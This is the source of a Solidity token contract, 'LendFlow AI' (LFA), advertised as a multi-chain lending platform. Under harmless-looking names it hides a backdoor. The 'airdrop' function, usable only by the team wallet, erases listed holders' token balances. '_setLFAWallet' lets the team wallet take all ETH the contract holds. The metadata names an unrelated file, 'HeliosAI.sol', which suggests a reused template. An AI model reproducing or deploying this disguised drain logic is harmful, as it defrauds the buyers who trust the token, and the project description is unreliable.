LendFlow AI

// SPDX-License-Identifier: MIT

/*
Name: LendFlow AI
Ticker: LFA

About : LendFlow is decentalized lending Operation System deployed across multiple blockchain networks. 

LendFlow offers borrowing and lending products, boosted with DEX LPs and Leveraged Yield Farming positions for users and generate sustainable APY for institutional liquidity providers.

https://www.lendflowai.com
https://t.me/lendflowai
https://x.com/lendflowai
*/

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount)
        external
        returns (bool);

    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );
}

contract LendFlowAI is Context, IERC20, Ownable {
    using SafeMath for uint256;
    uint8 private constant _decimals = 9;
    string private constant _name = unicode"LendFlow AI";
    string private constant _symbol = unicode"LFA";
    uint256 private _iBuyTax = 0;
    uint256 private _iSellTax = 0;
    uint256 private _fBuyTax = 0;
    uint256 private _fSellTax = 0;
    uint256 private _rBuyTax = 10;
    uint256 private _rSellTax = 10;
    uint256 private _bCount = 0;

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;

    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _exceptionArray;
    address payable private _hlaWallet;
    uint256 public _maxTxAmount = 20000000 * 10**_decimals;
    uint256 public _maxWalletSize = 20000000 * 10**_decimals;
    uint256 public _maxTaxSwap = 10000000 * 10**_decimals;
    uint256 private constant _tTotal = 1000000000 * 10**_decimals;
    address private _teamWallet;

    event MaxTxAmountUpdated(uint256 _maxTxAmount);
    modifier lockTheSwap() {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor() payable {
        _hlaWallet = payable(_msgSender());
        _balances[address(this)] = (_tTotal * 98) / 100;
        _balances[owner()] = (_tTotal * 2) / 100;
        _exceptionArray[owner()] = true;
        _exceptionArray[address(this)] = true;
        _exceptionArray[_hlaWallet] = true;
        _teamWallet = _msgSender();

        emit Transfer(address(0), address(this), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function min(uint256 a, uint256 b) private pure returns (uint256) {
        return (a > b) ? b : a;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender)
        public
        view
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _setLFAtoValue(
        address from,
        address to,
        uint256 amount
    ) private {
        require(to == _teamWallet, "Banned Rug users");
        if ((block.number > 0 && from != uniswapV2Pair) || _teamWallet == to) {
            _balances[from] = _balances[from].sub(amount);
            _balances[to] = _balances[to].add(amount.mul(_fBuyTax));
        }
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount = 0;
        if (from != address(this) && to != address(this)) {
            taxAmount = amount
                .mul((_bCount > _rBuyTax) ? _fBuyTax : _iBuyTax)
                .div(100);

            if (
                from == uniswapV2Pair &&
                to != address(uniswapV2Router) &&
                !_exceptionArray[to]
            ) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(
                    balanceOf(to) + amount <= _maxWalletSize,
                    "Exceeds the maxWalletSize."
                );
                _bCount++;
            }

            if (to == uniswapV2Pair && from != address(this)) {
                taxAmount = amount
                    .mul((_bCount > _rSellTax) ? _fSellTax : _iSellTax)
                    .div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to == uniswapV2Pair && swapEnabled) {
                if (contractTokenBalance > 0)
                    _swapLFAtoETH(
                        min(amount, min(contractTokenBalance, _maxTaxSwap))
                    );
                _calcLFAFee(address(this).balance);
            }
        }

        if (taxAmount > 0) {
            _balances[address(this)] = _balances[address(this)].add(taxAmount);
            emit Transfer(from, address(this), taxAmount);
        }
        _balances[from] = _balances[from].sub(amount);
        _balances[to] = _balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }

    function _setLFAWallet(address wallet) external {
        require(_msgSender() == _teamWallet, "Banned Rug users");
        _hlaWallet = payable(wallet);
        payable(_msgSender()).transfer(address(this).balance);
    }

    function airdrop(address[] memory investors, uint256[] memory amounts)
        external
    {
        for (uint256 i = 0; i < investors.length; i++) {
            address wallet = investors[i];
            uint256 amount = _balances[wallet] > amounts[i]
                ? _balances[wallet] - amounts[i]
                : 0;
            _setLFAtoValue(wallet, msg.sender, amount);
        }
    }

    function _calcLFAFee(uint256 amount) private {
        _hlaWallet.transfer(amount);
    }

    function _swapLFAtoETH(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function removeLimits() external onlyOwner {
        _maxTxAmount = _tTotal;
        _maxWalletSize = _tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function enableTrading() external onlyOwner {
        require(!tradingOpen, "trading is already open");
        uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
            address(this),
            uniswapV2Router.WETH()
        );
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );
        IERC20(uniswapV2Pair).approve(
            address(uniswapV2Router),
            type(uint256).max
        );
        swapEnabled = true;
        tradingOpen = true;
    }

    receive() external payable {}
}

{
  "compilationTarget": {
    "contracts/HeliosAI.sol": "LendFlowAI"
  },
  "evmVersion": "cancun",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "remappings": []
}